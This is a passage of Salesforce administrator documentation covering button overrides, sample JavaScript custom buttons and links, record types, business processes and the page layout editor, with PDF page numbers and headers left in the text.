You can override a standard button to run an s-control. To learn more about creating s-controls, see Defining Custom S-Controls on page 2231. You can also override a standard button with a Visualforce page. To learn more about creating Visualforce pages, see Defining Visualforce Pages on page 2210. If you override a standard button in Salesforce, that button is still available in Connect Offline or Salesforce Mobile, but it retains its original behavior. You cannot add button overrides to a Force.com AppExchange package. Only some standard buttons can be overridden. For example, you cannot override the Save or Sharing buttons, but you can override New, View, Edit, and Delete buttons. The View standard button refers to all of the links in Salesforce that display the detail page for a record. Overriding the View standard button reroutes all of these links. If a button is not available for overrides, you can still hide it on the page layout. Button overrides affect everywhere that action or behavior is available. For example, overriding the New button on an account also overrides the account option in the Create New drop-down list in the sidebar. You can override buttons on the detail page but not the edit page of a record. Buttons on lookup dialogs and tabs cannot be changed. However, you can change the buttons on list view and search result layouts under search layouts. Buttons on reports cannot be changed. Some standard buttons can be overridden, but none can be relocated on the detail page or relabeled. If your organization uses person accounts, your person account records use any standard button overrides you have made for accounts. Your person account records also use any overrides for the View Self-Service and Enable Self-Service buttons you have made for contacts. If your organization uses the Console tab, overrides for the Edit and View buttons for an object do not affect the Edit and View buttons in the mini page layouts. Pages that display due to overrides display in the console without the header or sidebar. To replace a standard button with a custom button, first define the custom button, then customize the page layout to hide the standard button and display the custom one in its place. See Customizing Page Layouts.

See Also:
Overriding Standard Buttons and Tab Home Pages

Removing Overrides for Standard Buttons and Tab Home Pages


Available in: Enterprise, Unlimited, and Developer Editions Visualforce overrides also available in: Contact Manager, Group, and Professional Editions

User Permissions Needed To override standard buttons and tab home pages: To reset button and tab home page overrides: Customize Application Customize Application

1. Navigate to the appropriate override page.

1292

Customize

Understanding Custom Buttons and Links

For standard objects, click Your Name > Setup > Customize, select the appropriate object or tab link, then click Buttons and Links. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.

2. Click Edit next to the override. 3. Select No Override (default behavior). 4. Click OK.

Viewing References to Salesforce Components


Custom buttons and links are available in: All Editions S-controls are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions Visualforce pages and custom components available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change custom buttons or links: To create, edit, and delete custom s-controls: To create, edit, and delete Visualforce pages and custom components: To clone, edit, or delete static resources: Customize Application Customize Application Customize Application Customize Application

You can view a list of all the areas in Salesforce that reference a component. For example, view the custom links, custom buttons, or page layouts that reference a custom s-control. To do this, click Where is this used? from the detail page of the component. Salesforce lists the type of component that references the component and the label for that component. Click any item in the list to view it directly.

See Also:
What is a Static Resource? Defining Custom Buttons and Links Custom Button Considerations About S-Controls Visualforce Overview What is a Custom Component?

1293

Customize

Understanding Custom Buttons and Links

Useful Custom Buttons and Links


User Permissions Needed To create or change custom buttons or links: Customize Application

Custom buttons and links are available in: All Editions except Database.com Visualforce pages and s-controls are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Use these samples to get started using custom buttons and links. Displaying Alerts Getting Record IDs Mass Delete Passing Record IDs to an External System Reopening Cases International Maps

See Also:
Defining Custom Buttons and Links Custom Button Considerations

Displaying Alerts
User Permissions Needed To create or change custom buttons or links: Customize Application

Custom buttons and links are available in: All Editions except Database.com Visualforce pages and s-controls are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

This example creates a button that opens a popup dialog with a welcome message containing the user's first name. 1. Define a button with the following attributes.
Display TypeDetail Page Button BehaviorExecute JavaScript Content SourceOnClick JavaScript

1294

Customize

Understanding Custom Buttons and Links

Use the following sample code.


alert ("Hello {!$User.FirstName}");

2. Add the button to the appropriate page layout.

See Also:
Useful Custom Buttons and Links

Getting Record IDs


User Permissions Needed To create or change custom buttons or links: Customize Application

Custom buttons and links are available in: All Editions except Database.com Visualforce pages and s-controls are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

This example creates a button that opens a popup window listing record IDs for user selected records. This is useful when testing to ensure you have the correct record IDs before processing them further. 1. Define a button with the following attributes.
Display TypeList Button

Note: Select Display Checkboxes (for Multi-Record Selection) so users can select multiple records in the list before clicking the button.
BehaviorExecute JavaScript Content SourceOnClick JavaScript

Use the following sample code.


idArray = {!GETRECORDIDS($ObjectType.Contact)}; alert("The Ids you have selected are: "+idArray);

Note: This example is for contacts. Change the object type for a different type of record.

1295

Customize

Understanding Custom Buttons and Links

2. Add the button to the appropriate related list on a page layout or list view layout.

See Also:
Useful Custom Buttons and Links

Mass Delete
User Permissions Needed To create or change custom buttons or links: Customize Application

Custom buttons and links are available in: All Editions except Database.com Visualforce pages and s-controls are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

This example creates a button that can be added to activity related lists and list views, and allows users to delete selected records at the same time. 1. Define a button for events with the following attributes.
Display TypeList Button

Note: Select Display Checkboxes (for Multi-Record Selection) so users can select multiple records in the list before clicking the button.
BehaviorExecute JavaScript Content SourceOnClick JavaScript

Use the following sample code.


{!REQUIRESCRIPT("/soap/ajax/9.0/connection.js")} var records = {!GETRECORDIDS( $ObjectType.Event )}; var taskRecords = {!GETRECORDIDS( $ObjectType.Task)}; records = records.concat(taskRecords); if (records[0] == null) { alert("Please select at least one record.") } else { var errors = []; var result = sforce.connection.deleteIds(records); if (result && result.length){ var numFailed = 0; var numSucceeded = 0; for (var i = 0; i < result.length; i++){ var res = result[i]; if (res && res.success == 'true'){ numSucceeded++; } else {

1296

Customize

Understanding Custom Buttons and Links

var es = res.getArray("errors"); if (es.length > 0) { errors.push(es[0].message); } numFailed++; } } if (numFailed > 0){ alert("Failed: " + numFailed + "\nSucceeded: " + numSucceeded + " \n Due to: " + errors.join("\n")); } else { alert("Number of records deleted: " + numSucceeded); } } window.location.reload(); }

2. Add the button to your activity list views. 3. Add the button to any page layout that contains an activity related list. The button deletes any selected task or event in the list. You can install custom buttons from the Mass Delete app at http://sites.force.com/appexchange.

See Also:
Useful Custom Buttons and Links

Passing Record IDs to an External System


User Permissions Needed To create or change custom buttons or links: Customize Application

Custom buttons and links are available in: All Editions except Database.com Visualforce pages and s-controls are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

You can use Salesforce record IDs as unique identifiers for integrating with an external system. This example creates a button that calls a Visualforce page to determine the record IDs of selected records and passes them in a URL query parameter to an external Web page called www.yourwebsitehere.com. 1. Create a Visualforce page that uses the GETRECORDIDS function to retrieve a list of selected records:
<script type="text/javascript"> idArray = {!GETRECORDIDS($ObjectType.Account)}; window.location.href="http://www.yourwebsitehere.com?array="+idArray; </script>

1297

Customize

Understanding Custom Buttons and Links

Note: Replace www.yourwebsitehere.com with your own URL.

2. Define a button for accounts with the following attributes.


Display TypeList Button

Note: Select Display Checkboxes (for Multi-Record Selection) so users can select multiple records in the list before clicking the button.
BehaviorDisplay in existing window with sidebar Content SourceVisualforce Page

Select the Visualforce page you created in the first step.

3. Add the button to the appropriate page layout or list view layout.

See Also:
Useful Custom Buttons and Links

Reopening Cases
User Permissions Needed To create or change custom buttons or links: Customize Application

Custom buttons and links are available in: All Editions except Database.com Visualforce pages and s-controls are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

This example creates a button that can be added to cases related lists so users can reopen several cases on an opportunity at once. 1. Define a button for cases with the following attributes.
Display TypeList Button

Note: Select Display Checkboxes (for Multi-Record Selection) so users can select multiple records in the list before clicking the button.
BehaviorExecute JavaScript Content SourceOnClick JavaScript

Use the following sample code.


{!REQUIRESCRIPT ("/soap/ajax/13.0/connection.js")}

1298

Customize

Understanding Custom Buttons and Links

var records = {!GETRECORDIDS($ObjectType.Sample)}; var newRecords = []; if (records[0] == null) { alert("Please select at least one row") } else { for (var n=0; n<records.length; n++) { var c = new sforce.SObject("Case"); c.id = records[n]; c.Status = "New"; newRecords.push(c); } result = sforce.connection.update(newRecords); window.location.reload(); }

Note: This example references the AJAX Toolkit, which is available if API access is enabled. See https://wiki.developerforce.com/index.php/API.

2. Add the button to your opportunity page layouts by editing the Cases related list. Tip: Use this button on any page layout that contains the cases related list, such as account or contact page layouts.

Note: Notice the check for records[0] == null, which displays a message to users when they dont select at least one record in the list.

See Also:
Useful Custom Buttons and Links

International Maps
User Permissions Needed To create or change custom buttons or links: Customize Application

Custom buttons and links are available in: All Editions except Database.com Visualforce pages and s-controls are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

This example creates a link that displays a country-specific Google map.

1299

Record Types

Managing Record Types

1. Define a link for accounts with the following attributes.


Display TypeDetail Page Link BehaviorDisplay in new window Content SourceURL

Use the following sample code.


{! IF(Sample.BillingCountry = "US", "http://maps.google.com/maps?q="&Sample.BillingStreet& "+"&Sample.BillingCity&"+"&Sample.BillingState&"+"&Sample.BillingCountry, (IF(Sample.BillingCountry = "UK", "http://maps.google.co.uk/maps?q="&Sample.BillingStreet &"+"&Sample.BillingCity&"+"&Sample.BillingCountry, "http://maps.google.com"))) }

2. Add the link to your account page layout. See IF.

See Also:
Useful Custom Buttons and Links

RECORD TYPES
Managing Record Types
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change record types: Customize Application

Record types allow you to offer different business processes, picklist values, and page layouts to different users based on their profiles. Record types can be used in various ways, for example: Create record types for opportunities to differentiate your regular sales deals from your professional services engagements and offer different picklist values for each. Create record types for cases to display different page layouts for your customer support cases versus your billing cases.

Record Type Considerations Keep the following considerations in mind when creating or changing a record type:

1300

Customize

Managing Record Types

The following special picklist fields are not available for record types because they are used exclusively for sales processes, lead processes, support processes, and solution processes: Opportunity Stage Case Status Solution Status
Lead Status

You can use these fields to provide different picklist values for different record types by assigning a different process to each record type. Person accounts are account records to which a special kind of record type has been assigned. These record types are called person account record types. Person account record types allow contact fields to be available on the account and allow the account to be used in many situations as if it were a contact. A default person account record type named Person Account is automatically created when person accounts are enabled for your organization. You can change the name of this record type, and you can create additional person account record types. You cannot delete all the record types for an object if the object is referenced in Apex. You cannot deactivate a record type if it is in use by an email routing address for Email-to-Case or On-Demand Email-to-Case. To create record types for campaign members, click Your Name > Setup > Customize > Campaigns > Campaign Members > Record Types. Record types can only be assigned to campaign members using the Campaign Member Type field on new or existing campaigns. To assign record types to campaign members, add the Campaign Member Type field to the campaign page layout. You must have the Marketing User user permission to change the campaign member type. You can also add a read-only Campaign Member Type field to the campaign members page layout.

The following campaign member picklists are not available for record types: Status Salutation Lead Source

Salesforce recommends creating no more than 200 record types. While there is no limit, organizations may have difficulty managing their record types if they exceed 200.

See Also:
Viewing and Editing Record Types Setting Record Type Preferences Creating Record Types Assigning Page Layouts Specifying Record Types and Page Layout Assignments in the Enhanced Profile User Interface Assigning Record Types to Profiles in the Original Profile User Interface Administrator tip sheet: Tips & Hints for Record Types

1301

Customize

Creating Record Types

Creating Record Types


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change record types: Customize Application

To create record types on a standard object: 1. Click Your Name > Setup > Customize, then select an object. To create person account record types, click Your Name > Setup > Customize > Accounts > Person Accounts. To create campaign member record types, click Your Name > Setup > Customize > Campaigns > Campaign Members. 2. Click Record Types. 3. Click New. 4. Choose Master from the Existing Record Type drop-down list to copy all available picklist values, or choose an existing record type to clone its picklist values. 5. Enter a Record Type Label that's unique within the object. 6. Enter a Record Type Name. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. The Record Type Name refers to the component when using the Web services API and prevents naming conflicts on package installation in managed packages. 7. For opportunity, case, lead, and solution record types, select a business process to associate with the record type. 8. Enter a description. 9. Select Active to activate the record type. 10. Select Enable for Profile next to a profile to make the record type available to users with that profile. Select the checkbox in the header row to enable it for all profiles. 11. For enabled profiles, select Make Default to make it the default record type for users of that profile. Select the checkbox in the header row to make it the default for all profiles. 12. Click Next. 13. Choose a page layout option to determine what page layout displays for records with this record type: To apply a single page layout for all profiles, select Apply one layout to all profiles and choose the page layout from the drop-down list. To apply different page layouts based on user profiles, select Apply a different layout for each profile and choose a page layout for each profile.

1302

Customize

Editing Picklists for Record Types and Business Processes

14. Click Save to edit the values of the standard and custom picklists available for the record type, or click Save and New to create another record type.

See Also:
Specifying Record Types and Page Layout Assignments in the Enhanced Profile User Interface Assigning Record Types to Profiles in the Original Profile User Interface What is a Person Account?

Editing Picklists for Record Types and Business Processes


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change record types: To create or change business processes: Customize Application Customize Application

To customize the values in record type and/or business process picklists: 1. Select a record type and click Edit next to one of the picklist fields to customize the values included for the record type. Or, select a business process to customize the values included in that business process. 2. Add any values from the Available Values box or remove any values from the Selected Values box. Users will be able to choose from the list of selected values when creating and editing records. 3. Optionally, choose a default picklist value. Some picklists require a default value. The default value in a dependent field is ignored. 4. Click Save. Tips for Editing Picklists and Record Types The master picklist, the complete list of values in a picklist, is independent of all record types and business processes. If you add a picklist value to the master picklist, you must manually include the new value in the appropriate record types. If you remove a picklist value from the master, it is no longer available when creating new records. But records assigned to that value are unchanged. Renaming a record type does not change the list of values included in it. The following special picklist fields are not available for record types because they are used exclusively for sales processes, lead processes, support processes, and solution processes: Opportunity Stage Case Status Solution Status
Lead Status

You can use these fields to provide different picklist values for different record types by assigning a different process to each record type.

1303

Customize

Viewing and Editing Record Types

The following campaign member picklists are not available for record types: Status Salutation Lead Source

After creating record types, add the Record Type field to your page layouts if you would like the field displayed on record detail and edit pages. A user profile can be associated with several record types. For example, a user who creates marketing campaigns for both US and European divisions can have both US and European campaign record types available when creating new campaigns. Record types can only be assigned to campaign members using the Campaign Member Type field on new or existing campaigns. To assign record types to campaign members, add the Campaign Member Type field to the campaign page layout. You must have the Marketing User user permission to change the campaign member type. You can also add a read-only Campaign Member Type field to the campaign members page layout.

See Also:
About Custom Fields Setting Record Type Preferences Specifying Record Types and Page Layout Assignments in the Enhanced Profile User Interface Assigning Record Types to Profiles in the Original Profile User Interface

Viewing and Editing Record Types


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view record type setup pages: To create or change record types: View Setup and Configuration Customize Application

To view a list of record types, click Your Name > Setup > Customize, select an object, and click Record Types. For campaign member record types, click Your Name > Setup > Customize > Campaigns > Campaign Members > Record Types. Click New to create a new record type. Click Edit to change the name of a record type or deactivate it by deselecting the Active checkbox. Deactivating a record type does not remove it from any user profiles. Note: When creating and editing record types for accounts, opportunities, cases, contacts, or custom objects, check for criteria-based sharing rules that use existing record types as criteria. A record type change may affect the number of records that the rule shares. For example, let's say you have a record type named Service, and you created a criteria-based sharing rule that shares all Service record types with your service team. If you create another record type named Support and you want these records shared with your service team, you must update the sharing rule to include Support record types in the criteria.

1304

Customize

Managing Multiple Business Processes

Click Del to delete an inactive record type and assign associated records a different record type. To leave the record type field blank on records associated with the deleted record type, select None. Note: Deleting campaign member record types updates the Campaign Member Type field on campaign and campaign member records.

Click the name of the record type to edit the picklists associated with it. Click Page Layout Assignment to set which page layouts users can see based on profiles and record types. Note: You cannot edit or delete a record type for an object if the object is referenced in Apex. For more information, see Apex Code Overview on page 2086.

See Also:
Assigning Page Layouts About Field Accessibility Criteria-Based Sharing Rules Overview

Managing Multiple Business Processes


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change business processes: Customize Application

Use multiple business processes to display different picklist values for users based on their profile. Multiple business processes allow you to track separate sales, support, and lead lifecycles. Sales Processes Create different sales processes that include some or all of the picklist values available for the opportunity Stage field. Lead Processes Create different lead processes that include some or all of the picklist values available for the Lead Status field. Support Processes Create different support processes that include some or all of the picklist values available for the case Status field. Solution Processes Create different solution processes that include some or all of the picklist values available for the Status field. After creating a sales, support, lead, or solution process, assign the process to a record type. The record type determines the user profiles that are associated with the business process. To view a list of business processes, click Your Name > Setup > Customize, select the appropriate tab link (Opportunity, Case, Lead, or Solution), and click the Processes link.

1305

Customize

Managing Multiple Business Processes

Click New to create a new business process. Click Edit to change the name or inactivate the business process. Click Del to delete an unused business process. Click the name of the business process to edit the picklist values associated with it.

See Also:
Administrator tip sheet: Tips & Hints for Multiple Business Processes

Creating Multiple Business Processes


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change business processes: Customize Application

Follow these steps to create sales processes, support processes, lead processes, and solution processes. 1. 2. 3. 4. Select Your Name > Setup > Customize, select the appropriate tab link: Opportunity, Case, Lead, or Solution. Click the Processes link. Click New. Choose an existing process to copy its picklist values into the new process. Select Master to copy all available picklist values. 5. Enter a name and description for the new process. The name must be unique within the tab. 6. Click Save. All of the available values in the picklist are displayed. Choose the values that you would like included in the new business process. 7. See Editing Picklists for Record Types and Business Processes for instructions on building the list of values for this business process. Next, add the new business process to a record type (see Managing Record Types) and then make the record type available to users based on profile (see Specifying Record Types and Page Layout Assignments in the Enhanced Profile User Interface on page 540 or Assigning Record Types to Profiles in the Original Profile User Interface on page 550).

1306

Customize

Overview of Page Layouts and Field-Level Security

Overview of Page Layouts and Field-Level Security


Page layouts and search layouts available in: All Editions Field-level security available in: Enterprise, Unlimited, Developer, and Database.com Editions

Use field-level security to control the access that users have to certain fields. Additionally, use page layouts to control the layout and organization of detail and edit pages in Salesforce, the Self-Service Portal, and the Salesforce Customer Portal. Customize search layouts to change which fields display in search results and the buttons that display on list views. Important: While you can use page layouts to hide fields from detail and edit pages, be aware that users may still be able to access those fields by other means, including reports, search results, list views, and the API. Use field-level security to restrict all means of accessing a field. Field-level security doesn't prevent searching on the values in a field. To set up your organization to prevent users from searching and retrieving records that match a value in a field hidden by field-level security, contact salesforce.com Customer Support.

Field-Level Security
Restrict users access to view and edit fields by any means, including reports, search results, list views, related lists, email and mail merge templates, custom links, Connect Offline, the API, and when synchronizing data or importing personal data. Override any less-restrictive field access settings in page layouts and mini page layouts. For example, if a field is required in the page layout and read only in the field-level security settings, the field-level security overrides the page layout and the field will be read only for the user. Override less-restrictive field settings in search layouts. For example, if a field is visible in the search layout but hidden for certain users via the field-level security settings, the field-level security overrides the search layout and the field will be hidden for those users.

Page Layouts
Control the layout and organization of detail and edit pages. Control which fields, related lists, and custom links users see, on detail and edit pages only. Control which standard and custom buttons display on detail pages and related lists. Determine whether fields are visible, read only, or required, on detail and edit pages only. In Personal, Contact Manager, Group, and Professional Editions, control which fields users can access in related lists, list views, reports, Connect Offline, email and mail merge templates, custom links, and when synchronizing data or importing personal data. In Professional, Enterprise, Unlimited, and Developer Editions, determine some aspects of mini page layouts, including record type and profile associations, related lists, fields, and field access settings. The visible fields and related lists of the mini page layout can be further customized, but the other items inherited from the associated page layout cannot be changed on the mini page layout itself. Mini page layouts display selected fields and related lists of records in the mini view of the console. See Console Tab Overview on page 3489 for more information.

1307

Customize

Overview of Page Layouts and Field-Level Security

Note: To automatically add a field to all page layouts and make it visible and required everywhere regardless of field-level security, make it a universally required field.

See Also:
Managing Page Layouts Field-Level Security Overview

Setting Page Layouts and Field-Level Security


Page layouts and search layouts available in: All Editions Field-level security available in: Enterprise, Unlimited, and Developer Editions

Use field-level security as the means to restrict users access to fields; then use page layouts primarily to organize detail and edit pages within tabs. This reduces the number of page layouts for you to maintain. Important: Field-level security doesn't prevent searching on the values in a field. To set up your organization to prevent users from searching and retrieving records that match a value in a field hidden by field-level security, contact salesforce.com Customer Support. For Personal, Contact Manager, Group, and Professional Editions 1. 2. 3. 4. 5. 6. Create custom fields. Create any custom buttons or links. Create any custom s-controls. Define page layouts. All users automatically use the same page layout for each tab. Set the related objects and the mini page layouts that display in the console. Define search layouts. All users use the same search layouts.

For Enterprise, Unlimited, and Developer Editions 1. 2. 3. 4. 5. 6. Create custom fields. Create any custom buttons or links. Create any custom s-controls. Create any custom profiles. Create record types for different business scenarios. Assign which record types are available to users with different profiles (see Specifying Record Types and Page Layout Assignments in the Enhanced Profile User Interface on page 540 or Assigning Record Types to Profiles in the Original Profile User Interface on page 550). 7. Set the field-level security for each profile to restrict users access to specific fields. 8. Define page layouts to organize your pages. 9. Set the related objects and the mini page layouts that display in the console. 10. Assign page layouts to users based on profiles and record types. 11. Check the field accessibility grid to verify that all field access settings are correct.

1308

Customize

Overview of Page Layouts and Field-Level Security

12. Define search layouts. All users use the same search layouts.

See Also:
Administrator tip sheet: Tips & Hints for Page Layouts and Field-Level Security

Managing Page Layouts


Available in: All Editions

User Permissions Needed To create, edit, and delete page layouts: Customize Application

You can customize the page layouts for record detail and edit pages, Self-Service portal pages, Salesforce Customer Portal pages, and the case close page. Page layouts control the layout and organization of buttons, fields, s-controls, Visualforce, custom links, and related lists. They also help determine which fields are visible, read only, and required. Page layouts can include s-controls and Visualforce pages that are rendered within a field section when the page displays. You can control the size of the s-controls and Visualforce pages, and determine whether or not a label and scroll bars display. To work with page layouts, go to Your Name > Setup > Customize, click the appropriate record type, and select Page Layouts. You can: Click New to create layouts. Click Edit to modify layouts or customize related lists. Click Del to delete layouts. Click Page Layout Assignment to assign page layouts to profiles and record type.

For Personal, Contact Manager, Group, and Professional Edition organizations, every user views the same layout. Enterprise, Unlimited, and Developer Edition organizations can create different page layouts for use by different profiles and record types and set field-level security settings to further restrict users access to specific fields. See Assigning Page Layouts and Field-Level Security Overview. In Professional, Enterprise, Unlimited, and Developer Editions, you can set the mini page layouts and related objects that appear in the Console tab. See Choosing Related Objects for the Console's Mini View and Defining Mini Page Layouts. Tip: Use field-level security as the means to restrict users access to fields; then use page layouts primarily to organize detail and edit pages within tabs. This reduces the number of page layouts for you to maintain. Note that field-level security settings override the visible and read-only settings on the page layout if the field-level security has a more restrictive setting than the page layout.

1309

Customize

Overview of Page Layouts and Field-Level Security

Note: A background process periodically runs that cleans up metadata associated with deleted custom fields. This process will affect the Last Modified Date and Last Modified By fields on page layouts, record types, and custom objects.

See Also:
Overview of Page Layouts and Field-Level Security Editing Mobile Object Properties About Field Accessibility Customizing Home Tab Page Layouts Setting Up Self-Service Setting Up the Console Tab Setting Up Your Customer Portal Administrator tip sheet: Tips & Hints for Page Layouts and Field-Level Security

Creating Page Layouts


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create page layouts: Customize Application

1. Click Your Name > Setup > Customize, select an object or record type, and click Page Layouts. For opportunities, click Your Name > Setup > Customize > Opportunities > Opportunity Products > Page Layouts to create or edit the additional page layouts for products on opportunities. For person accounts, click Your Name > Setup > Customize > Accounts > Person Accounts > Page Layouts to create or edit the additional page layouts for person accounts. For campaign members, click Your Name > Setup > Customize > Campaigns > Campaign Member > Page Layouts. 2. 3. 4. 5. 6. 7. Click New. Optionally, choose an existing page layout to clone. Type a name for the new layout. Click Save. Modify the layout. For information on defining mini page layouts for the Console tab, see Setting Up the Console Tab. Assign the new layout to user profiles. Tip: You can create a new page layout by cloning an existing one. In the enhanced page layout editor, click Edit next to a layout, then click Save As on the layout page.

1310

Customize

Overview of Page Layouts and Field-Level Security

In the original page layout editor, select a layout, then click Clone on the layout page.

See Also:
Managing Page Layouts Customizing Related Lists Overview of Page Layouts and Field-Level Security

Customizing Page Layouts


Available in: All Editions

Salesforce has two drag-and-drop tools for editing page layouts: the original page layout editor and an enhanced page layout editor. The enhanced page layout editor is enabled by default, and provides all of the functionality of the original editor, as well as additional functionality and an easier-to-use WYSIWYG interface. You can enable the original page layout editor in the User Interface settings. Your organization can use only one page layout editor at a time. Accessing the Enhanced Page Layout Editor for Standard Objects Accessing the Enhanced Page Layout Editor for Custom Objects Accessing the Original Page Layout Editor for Standard Objects Accessing the Original Page Layout Editor for Custom Objects

See Also:
Customizing Related Lists Managing Page Layouts Overview of Page Layouts and Field-Level Security Restricting Price and Quantity Editing on Opportunity Products Editing Multi-Line Layouts for Opportunity Products Setting Up Your Customer Portal

1311

Customize

Overview of Page Layouts and Field-Level Security

Accessing the Enhanced Page Layout Editor for Standard Objects


Available in: All Editions

User Permissions Needed To customize page layouts: To view page layouts: Customize Application View Setup

1. Select Your Name > Setup > Customize. 2. Choose the object. 3. Complete one of the following. In Enterprise, Unlimited, and Developer Edition organizations, choose Page Layouts, and click Edit next to the page layout you want to customize. In all other editions, choose Page Layout. Note: If you have the View Setup permission only, the Edit button isnt available. Instead, click the name of the page layout to view it.

4. Alternatively, when youre on a detail page, click Edit Layout in the upper-right corner to customize the page layout.

See Also:
Notes on Using the Enhanced Page Layout Editor

Accessing the Enhanced Page Layout Editor for Custom Objects


Available in: All Editions

User Permissions Needed To customize page layouts: To view page layouts: Customize Application View Setup

1. 2. 3. 4.

Select Your Name > Setup > Create > Objects. Choose the object. Scroll to the Page Layouts section. Next to the page layout you want to customize, click Edit.

1312

Customize

Overview of Page Layouts and Field-Level Security

Note: If you have the View Setup permission only, the Edit button isnt available. Instead, click the name of the page layout to view it. 5. Alternatively, when youre on a detail page, click Edit Layout in the upper-right corner to customize the page layout.

See Also:
Notes on Using the Enhanced Page Layout Editor

Customizing Page Layouts with the Enhanced Page Layout Editor


Available in: All Editions

User Permissions Needed To customize page layouts: To view page layouts: Customize Application View Setup

The enhanced page layout editor is a feature-rich WYSIWYG tool that allows you to customize your organizations page layouts for detail and edit pages in Salesforce, the Self-Service Portal, and the Salesforce Customer Portal. The enhanced page layout editor is enabled by default and provides all of the functionality of the original page layout editor, as well as additional functionality and an easier-to-use interface. To access the page layout editor, see Customizing Page Layouts. The enhanced page layout editor consists of two parts: a palette on the upper portion of the screen and the page layout on the lower portion of the screen. The palette contains the user interface elements, such as fields, buttons, links, related lists, and any additional elements that are available for you to add to the page layout. When working with enhanced page layout editor: To add a user interface element to the page layout, select the category to which the element belongs on the left column of the palette, and drag the element from the palette to the page layout. To remove a user interface element from the page layout, drag the element from the page layout to the right side of the palette, or click the icon next to the element. Use the undo and redo buttons to step backwards and forwards, respectively. Use the following keyboard shortcuts. Undo = CTRL+Z Redo = CTRL+Y Quick Save = CTRL+S To select multiple elements individually, use CTRL+click. To select multiple elements as a group, use SHIFT+click. To change the properties of any element on the page layout, double-click the element or click the wrench icon ( ) next to it. You cannot change the properties of elements in the palette. To make a field read-only or required, double-click the field in the page layout and select the Read-Only or Required checkboxes.

1313

Customize

Overview of Page Layouts and Field-Level Security

To gain vertical space when working on moving items around within the page layout, click the arrow beneath the palette to collapse it. To access the other layouts for an object when viewing or customizing an object with multiple page layouts, click the page layout name at the top of the page and select another layout to view. To change the name of the page layout, add personal and public tags if available, and display standard object checkboxes on the page layout, click Layout Properties. Note: You can't rename a page layout if you're using Salesforce.com Professional Edition.

To review the page layout, click Preview As. From the preview in Enterprise, Unlimited, and Developer Editions, select a profile to see how the pages will look for users with different profiles. Note that most related lists columns preview without data. To quickly locate any item in the palette, use the Quick Find box. The Quick Find box is especially useful for page layouts that have large numbers of items available in the palette. To choose which related records display in the console's mini view, click Mini Console View. (Available in Professional, Enterprise, Unlimited, and Developer Edition organizations only.) Note: You cannot choose Mini Console View for the Close Case layout or the Log a Case page and View Cases page layouts on the Self-Service Portal. You cannot choose Mini Console View for opportunity team page layouts.

To define the mini page layouts of the records that appear in the mini view of the console, click Mini Page Layout. The mini page layout also defines the layout of the hover details and event overlays. (Available in Professional, Enterprise, Unlimited, and Developer Edition organizations only.) Note: You cannot define mini page layouts for the Close Case layout or the Log a Case page and View Cases page layouts on the Self-Service Portal. You cannot define mini page layouts for opportunity team page layouts.

To choose which fields will be displayed on the record detail page and the order in which they will appear, click Edit Multi-Line Layout. To save your changes and continue editing the page layout, click Quick Save. To save your changes when you are done customizing the page layout, click Save. If you navigate away from your page layout before clicking Save, your changes will be lost. To create a copy of your page layout, click Save and select Save As.

See Also:
Notes on Using the Enhanced Page Layout Editor Customizing Related Lists Managing Page Layouts Assigning Page Layouts Overview of Page Layouts and Field-Level Security Restricting Price and Quantity Editing on Opportunity Products Editing Multi-Line Layouts for Opportunity Products Setting Up Your Customer Portal

1314

Customize

Overview of Page Layouts and Field-Level Security

Enhanced Page Layout Editor User Interface Elements


Available in: All Editions

User Permissions Needed To customize page layouts: To view page layouts: Customize Application View Setup

The following list describes the enhanced page layout editor user interface elements and how you can use them in your page layout. Tip: Create the appropriate buttons, custom links, fields, custom s-controls, and Visualforce pages before editing your page layout. Blank Spaces You can add and move blank spaces to any section on the page layout. Use blank spaces to visually align and distinguish elements on the page. To add a blank space, drag the Blank Space user interface element from the palette to the desired location on the page layout. The Blank Space user interface element is the first option in the palette when you select the Fields, Custom Links, Custom S-Controls, or Visualforce Pages category on the palette. Note: If you use the original page layout editor to view a page layout that was created in the enhanced page layout editor, the original page layout editor will show any blank spaces you added. You cannot move or add blank spaces in the original page layout editor, but you can remove them by dragging them to the box on the right. Buttons The top of the page layout has a place for standard buttons and another for custom buttons. You can control which standard and custom buttons are displayed and the order in which the custom buttons appear; however, you cannot rearrange the order in which the standard buttons appear. To add a custom or standard button to the page layout, select the Buttons category on the palette and drag one or more buttons from the palette to the buttons section on the page layout. Standard buttons must go in the standard buttons area, and custom buttons must go in the custom buttons area. To remove a standard or custom button from the page layout, drag the button to the palette. For information on buttons in related lists, see Related Lists. Custom Links To add custom links to the page layout, select the Custom Links category on the palette and drag one or more custom links from the palette to the Custom Links section on the page layout. To remove a custom link from the page layout, drag the custom link to the palette.

1315

Customize

Overview of Page Layouts and Field-Level Security

Fields To add fields to the page layout, select the Fields category on the palette and drag one or more fields from the palette to any section on the page layout, except for sections reserved for custom buttons or links and related lists. A field might display one or more of the following icons: The field must have a value to save the record but is not required on the page layout itself. The field must be included on the page layout because either an administrator configured the field as universally required or Salesforce automatically requires the field. Although you cannot remove such fields, you can move them to different locations. The field is a controlling field. The field is a dependent field. The field is read only. ) on any of the

To set which fields are required and read only, select one or more fields and click the wrench icon ( selected fields.

